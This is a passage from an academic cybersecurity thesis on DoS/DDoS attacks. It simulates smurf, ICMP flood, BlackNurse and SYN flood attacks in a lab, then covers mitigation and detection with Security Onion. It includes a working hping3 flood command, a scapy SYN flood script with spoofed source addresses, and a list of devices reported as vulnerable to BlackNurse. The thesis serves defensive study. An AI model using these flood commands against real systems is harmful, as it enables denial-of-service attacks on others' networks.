Recent systems don’t allow smurf attacks because of restrictions for not responding to 

ICMP echo requests to broadcast address. 

A suitable test bed environment is created for carrying out the smurf attack and measuring 

its attributes. 

In my lab environment, available host machines are listed below: 

Kali Linux as an attacker  : 192.168.1.62 

Ubuntu Linux as a victim  : 192.168.1.63 

Windows machine as a victim : 192.168.1.75 

Figure 3.13 shows the architecture of the smurf attack. 
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Figure 3.13: Smurf Attack Architecture. 

 

 

Figure 3.14: nmap command to check alive hosts in the targeted network. 
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I start with exploring how many hosts are alive in the network with nmap tool. 

Then I crafted an ICMP packet to be sent from a victim`s spoofed IP address to network 

broadcast address via hping3 tool. At the same time, I captured packets on the victim 

machine to check the results. 

Figure 3.15: hping3 command to create spoofed attack packet targeting Linux. 

 

 

Figure 3.16: tcpdump packet capture on the victim. 

 

As a result, I observed that Linux doesn’t reply ICMP echo request to network broadcast 

address. 

I sent the same forged ICMP packets to windows victim. 
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Figure 3.17: hping3 command to create attack, from spoofed source. 

 

Figure 3.18: Wireshark packet capture on windows machine. 

 

Result, Windows is not vulnerable to smurf attack because there is no ICMP reply from 

broadcast address. 

3.2.3 ICMP Flood Attack  

Internet Control Message Protocol (ICMP) was assumed as a harmless method of 

reporting error conditions and issuing and responding to simple requests (RFC 792). In 

its main purpose, ICMP is supposed to be a relatively simple and useful protocol, but it 

has been altered to act as evil purposes. In ICMP Flood attack, an attacker sends so many 

ICMP echo requests (it`s simple PING) with the fake source IP address to a remote host 

or a network device until it consumes all of the available resources of the victim with the 

attacking packets (Kumar et al. 2012, p. 25). As a result, the victim can no longer process 

legitimate requests. This attack attempts to compromise availability of the Cyber Security 

triad. This protocol attack happens in the network layer. Figure 3.19 shows the 

architecture of the ICMP Flood attack. 
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Figure 3.19: ICMP flood attack architecture. 

 

The test bed configuration is listed below: 

Attacker Kali Linux  : 192.168.1.62 

Victim Linux   : 192.168.1.63 

I use hping3 tool to create ICMP packets, tcpdump to monitor and capture to packets and 

IPTraf network monitoring tool to observe the victim`s network activity. 

Figure 3.20: Victim machine network activity. 
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First step I run the hping3 command to craft an ICMP packet with spoofed source address 

to attack to victim. 

Figure 3.21: hping3 command to create icmp packet from random source IP 

addresses. 

 

This hping3 command line in the Figure 3.21 sends ICMP (type 8 code 0) packets from 

random sources to the victim in flood mode. It is seen in the Figure 3.22, that packet rates 

maximum approximately 200 Kbits/sec. It means if the victim had ISDN or less 

bandwidth, DoS would have happened. Even though ICMP flooding looks historical, a 

similar form of ICMP flooding can still be used to perform a denial of service attack; even 

when the victim is on a gigabit network. Next attack method will prove this. 

 

 

Figure 3.22 Victim machine network with incoming ICMP packets activity. 

 

3.2.4 ICMP Type 3 Code 3 Attack (BlackNurse) 

Normally DDoS attacks, aim at the network bandwidth via flooding connections to cause 

denial of service. This attack not only targets flooding of the internet connection but also 

drains CPU power of the victim. Danish Telecom has named it BlackNurse (Hjelmvik 
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2016). It is not the same as an old ICMP flood attack which is known to send ICMP 

requests to the target. BlackNurse is based on ICMP with Type 3 Code 3 packets. ICMP 

Type3 is Destination Unreachable and Code 3 is Port Unreachable. It consumes not only 

bandwidth of the targeted network but also drains intermediary network device`s CPU 

power, causing packet drops and as a result denies the hosts to reach the internet behind 

the firewalls or routers.  

Lab configuration is shown hereunder. 

Attacker Fedora Linux : 192.168.1.62 

Victim Windows 10  : 192.168.1.76 

I will capture packets and inspect statistics with Wireshark. The mission in this attack; to 

send ICMP Type 3 Code 3 packets (port unreachable) to the victim and overwhelm 

victim`s resources to DoS. I use hping3 tool to craft this malicious packet. 

hping3 -C 3 -K 3 - - flood 192.168.1.76 

This command will flood the victim`s network connection via sending very fast malicious 

ICMP packets. 

 

Figure 3.23: Wireshark screenshot showing the packets from windows machine. 
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It stopped Wi-Fi broadcast of the lab router in 2 minutes via filling available bandwidth 

and router`s CPU cycle causing to lock up the router. Observing Figure 3.24 proves how 

powerful this attack can be. Figure 3.24 shows, windows Wi-Fi connection before attack 

and after attack. It is obvious there is a significant difference between received packets 

and connection speeds.  

Figure 3.24: Victim’s network status before and after attack. 
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Figure 3.25: Wireshark network statistic. 

 

As seen in the Figure 3.25 hping3 sends 8663 packets per seconds. This attack is 

discovered by Security Operations Center of the Danish telecom operator (SOC TDC) 

recently. The best mitigation method is not allowing ICMP packets to be answered in the 

network devices and firewalls. 

Devices verified by TDC to be vulnerable to the BlackNurse attack: 

Cisco ASA 5505, 5506, 5515, 5525 and 5540 (default settings) 

Cisco ASA 5550 (Legacy) and 5515-X (latest generation) 

Cisco 897 router 

Cisco 6500 router (with SUP2T and Netflow v9 on the inbound interface) 

Fortigate 60c and 100D (even with drop ICMP on). See response from Fortinet. 

Fortinet v5.4.1 (one CPU consumed) 

Palo Alto (unless ICMP Flood DoS protection is activated). See advisory from Palo Alto. 

SonicWall (if misconfigured) 

Zyxel NWA3560-N (wireless attack from LAN Side) 

Zyxel Zywall USG50 
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3.2.5 DNS Amplification Attack 

Domain Name System (DNS) is the address book of the internet. It has a tree like 

distributed system of delegations structure and it translates IP addresses to host names 

(Vaughn 2006). DNS servers maintain domain records and interact with each other. There 

are two types of DNS queries: Recursive and Iterative (Northcutt and Novak 2002). A 

recursive query asks for a name server to find the answer to the query itself. If the inquired 

server doesn’t know the answer, it forwards the request to another server. It continues 

until it finds the information or until the query fails. An iterative query asks DNS server 

to resolve the query. If the name server doesn’t know the answer, it returns back to the 

querying server with a reference of another name server which probably has the 

information. 

DNS is one of the most targeted systems in the internet today. It gives opportunities to 

attackers to get reconnaissance information and further exploitation areas about targeted 

network (Northcutt and Novak 2002). If a DNS server is compromised, an attacker can 

play upon name and IP address translation for evil purpose. 

DNS Amplification Attack has become a serious threat in the internet world because small 

queries can generate massive amounts of UDP packets in response to flood the target 

server (Kambourakis et al. 2007, pp.38-47). An attacker needs a small bandwidth 

connection to exploit recursive name servers to amplify Distributed Denial Service 

(DDoS) attacks via spoofing IP address of the victim server. Malicious users abuse open 

DNS servers or open resolvers which allows recursive DNS queries, via bombarding a 

victim system with DNS response traffic (Us-cert.gov, 2013). The regular DNS query is 

limited to 64 bytes of query data and 512 bytes of response (amplification factor of X8). 

With the implementation of extension mechanism for DNS (EDNS) (RFC 6891) in late 

2005, it allows larger DNS packets and still use UDP which is a connectionless protocol 

(Anagnostopoulos et al. 2013). 

As seen on the Figure 3.26, small DNS queries could create huge amount of DNS reply 

traffic. This figure shows the fundamentals of the attack which an attacker sends 64 byte 

DNS name look up request to the open resolver with the spoofed source IP address of the 

victim server. This small request creates 3876 bytes DNS response directing to the victim 

server, (the amplification factor of X60). Malicious user generally sends “ANY” type of 
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request which asks the DNS resolver for all the information that currently knows about 

the domain which may include information about mail servers (MX Records), IP 

Addresses (A Records) etc. to increase the amplification factor (Rozekrans, de Koning 

and Mekking 2013).  Moreover, in order to increase the size of the attack with little effort, 

attackers use botnets and make them send the DNS requests. 

Figure 3.26: DNS Amplification attack architecture. 

 

Because of the huge traffic volume there is very little to protect against DNS amplification 

attack. But it is still possible to reduce the effect of the attack. 

Although the only definite method of eliminating this type of attack is to fix unsecured 

recursive resolvers which requires an extensive effort by various parties. In July 2013 

bulletin, the United States Computer Emergency Response Team (US-CERT) made a few 

recommendations (Us-cert.gov, 2013): (1) reduce the number of open DNS resolvers, (2) 

disable public recursion on authoritative DNS servers, (3) rate limit responses, and (4) 

limit IP address spoofing. Unfortunately, there is little incentive for organizations to 

employ these recommendations: these actions help other organizations, not the 

organization performing the remediation (MacFarland, Shue and Kalafut, 2015).  
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3.2.6 SYN Flood Attack 

SYN Flood Attack is one of the oldest DoS attack method. It has been experienced since 

1996 (diamon9, route and infinity, 1996) and still a very popular arena for the malicious 

users. 

SYN Flood Attack exploits three-way handshake mechanism of the Transmission Control 

Protocol (TCP). All TCP based network services (http, Ftp, mail server etc.) are 

vulnerable to this attack. SYN Flood Attack threats not only hosts but also network 

devices (Beaumont-Gay, 2007). 

SYN Flood Attack can cause DoS in two ways: The attack might consume the connection 

queue and crash the system or drain the bandwidth of the targeted network. The 

fundamental of the attack is the attacker spoofs his or her IP address with nonresponsive 

source IP addresses. This make malicious users maximize the consumption of the victim 

system`s resources. If the fake source address is responsive, the attacker will send SYN, 

the victim will return with SYN/ACK and then the spoofed responsive system will send 

RESET because it is not the initiative party of the three-way TCP handshake. This will 

reset the connection and connection queue will not be consumed. 

During normal TCP connection, the host sends SYN with a sequence number, the server 

replies with SYN/ACK and the requester host sends back ACK to the server to establish 

the connection. When the attacker initiates TCP connection, he or she sends SYN to the 

victim system with spoofed IP address of the nonresponsive IP addresses, the victim 

replies with SYS/ACK directed to nonresponsive host and waits (at least 75 seconds) for 

the ACK but it never arrives. It is called half open connection. Attacker continues to send 

SYN packets until victim server run outs of memory. As a result, server crashes and 

cannot answer legitimate connection requests (Eddy, 2007). Figure 3.27 shows the 

architecture of the SYN Flood Attack. 
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Figure 3.27: SYN Flood attack architecture. 

 

To simulate SYN Flood I used scapy python packet crafting tool. 

The test environment configuration is written below: 

ATTACKER : Kali Linux 192.168.1.61 

VICTIM : Ubuntu Linux (Webserver) 192.168.1.64 

SCAPY SCRIPT: 

>>> #! /usr/bin/env 

>>> from scapy.all import *; 

>>> IPforged = "192.168.2.1/16"; 

>>> target = "192.168.1.64"; 

>>> destPort = 80; 

>>> SYNFlood = IP(dst=target, src=IPforged) / TCP(dport=destPort, flags = "S"); 

>>> while 1 : 

>>> send(SYNFlood); 

After sending SYN packets I captured packets on victim machine with Wireshark packet 

capture tool with the filter: tcp.flags.syn==1. 
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Figure 3.28: SYN Flood attack, victim machine Wireshark screenshot. 

 

As seen on the Figure 3.28, SYN packets are originating from fake IP addresses destined 

to victim`s http port (80). It fills victim`s queue with half open connections causing lock 

up of web server and makes it unreachable for the legitimate users. 

There are two global best practices to mitigate SYN flood attack. SYN cookies and SYN 

proxy.  

The idea behind the SYN cookie method is to allocate resources only for legitimate 

connections. Server delays to allocate resource until TCP three-way handshake 

completes. After receiving SYN packet and sending SYN/ACK the server calculates a 

cookie value according to the packets it receives. After receiving ACK packet, the server 

checks the cookie to decide if it’s coming from legitimate client. If the cookie value is 

correct it allows connection (Hang and Hu 2009, pp.445-448).  

Second, using firewall rules before connection resource allocation. Firewall takes SYN 

packet from the initiator and sends the SYN/ACK packet back and waits for the final 

ACK packet. After the firewall receives the ACK packet from the originator then replays 

the three-way handshake sequence to the receiver. 
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4. FINDINGS 

4.1 DOS/DDOS ATTACK MITIGATION TECHNIQUES 

As DoS/DDoS attacks advance, mitigation techniques also adapt for newly emerging 

threats. However, it is not possible to fully evade the threat. The short review of the 

available anti DoS/DDoS solutions are listed below. 

4.1.1 Firewalls 

Firewalls are the first devices which stands against to malicious activity. They are critical 

for the security architecture. They might have some capability against DDoS attack, 

however there are not designed for that purpose. Moreover, they are sometimes targeted 

to DDoS attacks themselves. Firewalls does not have anti-spoof capability and some 

attacks have legitimate packets as in slowloris and DNS amplification attacks. These 

legitimate packets may easily pass thorough from firewalls. 

When your network device or server hit by some types of DoS/DDoS attack there is not 

much to do stop the attack especially attacker spoofs the source IP with unsuspecting 

company or ISP. In this situation, the first measure against DoS/DDoS on the firewall to 

set rate limiting. Rate limiting enables you to set packet rate per source. If the number of 

packets from a particular source exceeds the rate, it drops the excessive packets and 

continues dropping until the attack is over. 

Syncookie, syncache and synproxy services should be activated. These are the best 

mitigation methods against syn flood attacks. They will not let half open TCP packets to 

reach the server. 

4.1.2 Routers 

Using Access Control Lists (ACLs) on the router is somehow effective method for 

defending against simple, well-known attacks. Non-essential protocols (e.g. ICMP) 

should be disabled and might be used when needed. Egress and ingress anti spoof filtering 

should be implemented at border routers. These filters will drop packets which have 

source address is not belong to network. 

4.1.3 Internet Service Provider 

Having a large bandwidth is always desirable and help to stand some of the DoS attacks. 

However recent attacks reach 1 Tbsp. levels (France based hosting provider-Sept 16). 
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Nobody, even ISPs cannot stand such a high rate packet flow. During attack, cooperation 

with ISP might be too late to mitigate the attack but cooperation with many providers can 

help to find attack source. Blackholing is an option used by ISPs. It means blocking all 

network traffic without separating legitimate packets. It seems an effective method to 

solve the problem but it also denies legitimate users to reach services. In other words; it 

makes attacker to reach their aim. Once the customer calls during the attack, ISP should 

be able to determine source of the bad traffic (Tipton and Krause 2003). ISPs should also 

cooperate each other and share information to cope with DDoS attacks. Additionally, ISPs 

should apply egress and ingress filtering at their edge routers (Du and Nakao 2010, pp.1-

6). ISP based DDoS mitigation methods are the most desirable so as these counter 

measures can be shared by many customers. 

4.1.4 IDS/IPS 

Although Intrusion Detection and Prevention Systems (IPS/IDS) are vital to keep data 

integrity and confidentiality they are not enough capability to stop DoS/DDoS attacks. 

They have very good application layer attack-detection and malformed packet inspection 

capabilities. IPS/IDS solution have the ability to detect threats using a database of 

signatures, using anomaly detection techniques, producing alerts when detection of 

abnormal behaviour within protocols like in flood attacks. They can be used to as 

complimentary security measure against DoS/DDoS attacks but they cannot serve alone 

for that purpose. Moreover, they are also target for DoS/DDoS attacks. 

4.1.5 Third Party Anti DoS/DDoS Solutions 

There are companies which offers very effective DDoS protection services. According to 

Market Research and Consulting Firm Quadrant Knowledge Solutions, leading DDoS 

Mitigation vendors are, A10 Networks, Akamai, Arbor Networks, CloudFlare, Corero, 

Fortinet, Huawei, Imperva, Nexusguard, NSFOCUS, Radware, and Verisign. Modern 

DDoS mitigation appliances are capable of providing mitigation up to 40 Gbps of attacks 

and by combining these appliances, it handles multiple of hundreds of attacks volume 

capacity. On the other hand, DDoS mitigation service providers use multiple high 

capacity scrubbing centers and can handle Tbps of attack volume capacity. Most of the 

large organizations are looking at deploying hybrid solutions by investing in both on 

premise appliances as well as cloud-based DDoS mitigation services. DDoS mitigation 

suppliers continue to collaborate in providing integrated hybrid-based solutions. 
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Mitigating DDoS attacks requires analyzing network traffic with complex attack 

detection algorithms, then filtering. Third party or in-cloud mitigation companies offers 

standard mitigation techniques like rate limiting, DNS based routing, Border Gateway 

Protocol (BGP) prefix announcement, in-line filtering and hybrid method. However, 

these services might be very expensive and complex (Booth and Andersson 2016, pp.111-

115). Quadrant Knowledge Solutions, has named Arbor 2017 Market and Technology 

Leader in the Global DDoS Mitigation Market (Clark 2017). Mitigating modern-day 

DDoS attacks requires the collaboration of enterprises, governments and in-cloud 

managed security service providers. For this purpose; Arbor Networks initiated the Cloud 

Signaling Coalition (CSC) (Anon 2017). 

Using third party services has one drawback that they monitor all network traffic. 

Handing over control of the internet traffic to a third party will have effect on the security 

and confidentiality of the data.31] 
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5. RECOMMENDATIONS 

An effective, DoS/DDoS attack defense is difficult and depend on different parties, such 

as in organization security team, ISPs and anti DDoS service providers. As the DoS/DDoS 

attacks growing in size, complexity and frequency every other day, organizations have to 

be well prepared in advance. I suggest organizations should utilize Information 

Technology Infrastructure Library (ITIL) Framework and International Organization for 

Standardization (ISO) 27001 guidance to efficiently manage their services, cyber security 

best practices, standards, processes and procedures to document and implement their 

action plans to deal with DoS/DDoS attacks (Disterer 2013, p.92). 

According to these guidance and standards, mitigation techniques should be implemented 

in every phase. Proposed mitigation and incident respond stages are summarized in the 

table below. 

Table 7.1: Proposed mitigation and incident management process. 

Attack Phase Action 

Before Attack Preparation 

 Ensure a documented and rehearsed process 

exists for dealing with a DDoS attack, 

 ISP and other cooperation group`s point of 

contacts should be documented and Service 

Level Agreements (SLAs), Operation Level 

Agreements (OLAs) should be understood by all 

related parties, 

 Responsibilities and accountabilities in case of 

DoS/DDoS attack must be clearly identified, 

 All security controls must be tested and 

documented. 

During Attack Identification 

 Just after attack detection, alerting and incident 

management process should start, 

 Mitigation plans must be implemented, 

 Attack analysis and forensics must be done, 
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 Attack source must be identified and reported. 

Containment 

 According to attack type, required network 

device resources or configuration changes might 

be done to take back the service available, 

 Bandwidth prioritization must be done.  

Eradication 

 Blocking and rate limiting measures should be 

done, 

 Forwarding traffic to scrub center if available, 

 Sinkholing to malicious traffic. 

After Attack Recovery 

 Normal service state verification must be done, 

 Digital forensics process must be done, 

 Attack analysis should be documented and 

shared with counterparts. 

 

After introduction and simulation, fundamentals of DoS/DDoS attacks, I propose as a part 

of DoS/DDoS attack solution is using on premise, robust Network Monitoring System, 

IDS/IPS deployment to defend network with Security Onion Network Monitoring 

System. In my test environment, I set a realistic virtual network. With proposed topology, 

I successfully simulated attacks and detected the attack specifications. The test network 

topology is seen on Figure 5.1. 

Figure 5.1: Lab network topology. 
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Software and hardware used in this topology is listed hereunder; 

Dell Firepower Series Server. 

VMware Workstation is used for virtualization environment. 

Kali Linux as an attacker to craft attack packets and using attack tools to simulate attack. 

Bee-Box web server as victim, which is Apache installed Ubuntu operating system. 

Security Onion as a Network Monitoring System, IPS/IDS, attack analysis box.  

5.1 SECURITY ONION 

Security Onion is a Linux distro for Network Intrusion Detection (NIDS) / Network 

Intrusion Prevention (NIPS), Network Security Monitoring (NSM) and log management 

solution which consist of Snort, Suricata, OSSEC, Squil, Xplico, Squert, Network Miner, 

Bro IDS, ELSA or Kibana and many other with full packet capturing tools and powerful 

analysis tools (Burks 2017). Diverse types of data can be acquired using Security Onion 

for analysis and forensics. These include data related to: Host, Network, Session, Asset, 

Alert and Protocols. Several web interfaces and tools are available for management of the 

system and analysis of data such as Sguil, Snorby, Squert and Enterprise Log Search and 

Archive (ELSA) and recently ElesaticStack has been added for evaluation purpose. These 

web interfaces can be used for analysis of alerts and captured events and then can be 

further exported for analysis in Network Forensic Analysis Tools (NFAT) such as 

NetworkMiner, CapME or Xplico (Heenan and Moradpoor 2016). Security Onion can be 

used to deeply monitor your network traffic for suspicious activities and malware. 

Security Onion has three main functions;  

i. Full packet capture; 

ii. Network-based and host-based intrusion detection systems (NIDS and HIDS), 

respectively; 

iii. Powerful analysis tools. 

Packet capturing is managed by netsniff-ng. Netsniff-ng is Linux networking tool with 

.pcap capturing and replaying tool.  It can record pcap files to disc, replay them and also 

do an offline and online analysis. With full packet capturing function what is coming in 
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and what is going out from the network can be analyzed. Netsniff-ng can be used network 

debugging, stress testing, traffic monitoring and security auditing. 

Security Onion offers multiple Intrusion Detection Systems (IDS) solution. IDSs are 

powerful tool for alerting to and controlling of traffic passing through a network. They 

can use various methods such as rule (signature) based, anomaly based or other machine 

learning or specification based methods. As rule-driven NIDS, Snort or Suricata is 

included in the box. Rule driven NIDS performs traffic analysis and tries to match 

captured packets with its rule base. It employs a rule driven language which composed of 

protocol matching, anomaly inspection and signature machine to match with flowing 

packets (Muthuregunathan et al. 2009, pp.336-341).  

Security Onion offers analysis-driven IDS with the Bro Network Security Monitor, 

known as Bro IDS, which is an open source anomaly based NIDS (Ambikavathi and 

Srivatsa 2016). It detects attacks via analyzing network traffic and extract it to its 

application level definition and then run event-oriented analyzers (Varadarajan and 

Santander Peláez 2012). It is primarily a security monitor that inspects all traffic on a 

network to detect and analyze suspicious activity. More generally, however, Bro supports 

a wide range of traffic analysis tasks even outside of the security domain, including 

performance measurements and helping with trouble-shooting (Mehra 2012).  

OSSEC is a host based intrusion detection system (HIDS) deployed in the Security Onion 

box. It monitors all activity with file integrity checking, log monitoring, windows registry 

monitoring, rootkit detection, real-time alerting and active response. It creates alert logs 

and email to security administrator. It has also capability to export alerts to any Security 

Incident Management (SIM)/Security Information and Event Management (SIEM) 

system (Hoque et al. 2012). OSSEC provides help organizations compliance 

requirements such as PCI and HIPAA. It lets customers detect and alert on unauthorized 

file system modifications and malicious behavior embedded in the log files of 

applications. For PCI, it covers the sections of file integrity monitoring (PCI 11.5, 10.5), 

log inspection and monitoring (section 10), and policy enforcement/checking (Anon 

2017). It monitors Security Onion itself, another host in the network also can be 

monitored via installing agent. 
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Security Onion collects many types of data which consist of full packet capture, IDS logs 

and Bro data. Squil is the analysis console for Network Security Monitoring. It provides 

GUI to view and analyze snort, suricata, OSSEC alerts, Bro HTTP events and Passive 

Real-Time Asset Detection System (PRADS) alerts (Heenan & Moradpoor 2016). 

Squert is a web based interface to the squil database. It allows to query to Squil database 

and gives several results of windows to analyze incidents (Burks 2014). 

Enterprise Log Search and Archive (ELSA) is a centralized system log framework which 

built on Syslog-NG, MySQL and Sphinx full-text search engine. It provides capability to 

process system logs. Currently, developers of Security Onion working on integrating 

Elastic Stack into Security Onion box. It will provide Security Onion with more visual 

alert and data analysis interface. 

Security Onion can be deployed in several network configurations. It can be installed as 

a standalone deployment with Server and Sensor components built in together, as a master 

server with multiple distributed sensors across the network being monitored or as a hybrid 

set up.  

I deployed Security Onion in VMware Workstation in the Bahcesehir University Cyber 

Security Center Laboratory (BAU-SGM). The topology is seen in the Figure 5.1. During 

setting up Security Onion, there are two options, Quick Setup and Advanced Setup. The 

quick mode is used when setting up a standalone Security Onion platform. The advanced 

mode is used when there is more complex deployment requirement such as a Master 

Server with multiple Sensors. Security Onion machine need to have two network 

interfaces. One is for management purpose and the other is sniffing purpose in 

promiscuous mode. To achieve sniffing it needs to be connected to span or tap port on 

the local switch. I managed this in BAUSGM with Dell 5548P switch via port mirroring.  

After installation of the Security Onion, initial configuration needs to be done. Click on 

the setup icon and configure network interfaces. This process turns monitoring interface 

into promiscuous mode automatically and employs monitoring capability to Security 

Onion. Figure 5.2 shows Security Onion desktop. 
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Figure 5.2: Security Onion desktop. 

 

In my configuration, management interface is eth0, and monitoring interface is eth1. 

Figure 5.3: Security Onion network interfaces. 

 

Later “rule-update” command executed for updating snort rules before they go into effect. 

Now that I sent an attack command targeting web server with “slowhttptest” tool. Figure 

5.4 is showing the command. 
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Figure 5.4: Attacker runs slowloris attack against a web server. 

 

Security Onion detected the attack. For monitoring alerts, I run the squil client which is a 

graphical interface employing real-time access to events, session data and captured 

packets. 

Figure 5.5: Squil interface showing slowloris attack. 

 

As seen on Figure 5.5, “ET WEB_SERVER Unusually Fast HTTP Request with Referer 

URL Matching DoS Tool” event message is logged. Highlighting the alert shows the alert 

data and the rule that triggered this event. The fields shown on the main screen: State, 

Count, used Sensor, Alert ID, Date and Time, Source and Destination IP, Source and 

Destination port, Priority and Event Message. Figure 5.6 shows more detailed data to 

analyze the event.  
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Figure 5.6: Squil interface showing slowloris attack, bro transcript and alert rule. 

 

The transcription of event might be seen by clicking the right mouse button on the event 

id tab and choosing the option “transcript”. This function is coming from Bro IDS. On 

the right side of the Figure 5.6, alert rule is highlighted in yellow. 

Squert is a web interface to make query and view event data stored in a Sguil database. 

Figure 5.7, is showing Squert web application window. 

Figure 5.7: Squert web application window. 

 

Squert provides different graphical views to Squil database giving further analysis 

capability. Figure 5.8 shows another Squert window. 
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Figure 5.8: Squert web application window. 
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6. CONCLUSION 

In this thesis, I introduce current, most popular DoS and DDoS attacks. I simulated some 

of them in test bed environment and presented attack architectures. Lastly, I explained 

available mitigation methods. 

Recent security reports show that DoS/DDoS attacks continue to threat internet world. 

According to Arbor Network`s 12th annual Worldwide Infrastructure Security Report 

(WISR), this year’s results show that 8 percent increase in enterprise, government and 

education organizations experienced a DDoS attack in 2017. Forty-two percent of 

enterprise, government and education (EGE) sector targeted DDoS attacks over the past 

year. Specifically, in banking/finance sector, 63 percent targeted an attack, compared to 

only 45 percent last year. Government also trended higher, with 53 percent reporting 

incidents, compared to only 43 percent last year (Anon 2017). Organizations should be 

well prepared for such attacks. Even many organizations are aware of the seriousness of 

the current threat, most of them is not enough protected. In summary organizations should 

implement current best practices listed below: 

Intelligent DDoS mitigation systems (IDMS) offers an ideal solution by enabling a 

layered defense strategy to stand against both volumetric and application-layer DDoS 

attacks. IDMS consists of a cloud and ISP based DDoS defense method. This should be 

supported with internet data center or enterprise edge DDoS protection system. 

Organization’s network and application infrastructure should be hardened. Best practices 

have to be implemented on edge routers, firewalls. Any network based DoS/DDoS 

mitigation techniques like Border Gateway Protocol (BGP) black-holing, Flowspec must 

be implemented and tested in the preparation stage. 

Network security devices such as load-balancers and firewalls are not enough to provide 

a complete DDoS defence. These devices can deal effectively with some kinds of attack, 

but these devices might also be a target for the hackers. 

Network monitoring systems are important to gain complete visibility of traffic flowing 

through networks. If this could be maintained effectively all anomalies would be realized 

on time. 
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Documenting and maintaining contact details for the operational security teams, ISP 

representatives and other solution partners are important for conducting efficient incident 

response against attack. 

In conclusion, I proposed and applied an effective mitigation method against DoS and 

DDoS attack. In proposed method, I deployed Security Onion as a defense and analysis 

mechanism. It successfully detected sample slowloris attack. In my opinion, with current 

capabilities, Security Onion is a robust, open source IDS/IPS/HIDS solution. Its 

capabilities could be extended with required addition to its rules library against emerging 

threats. 
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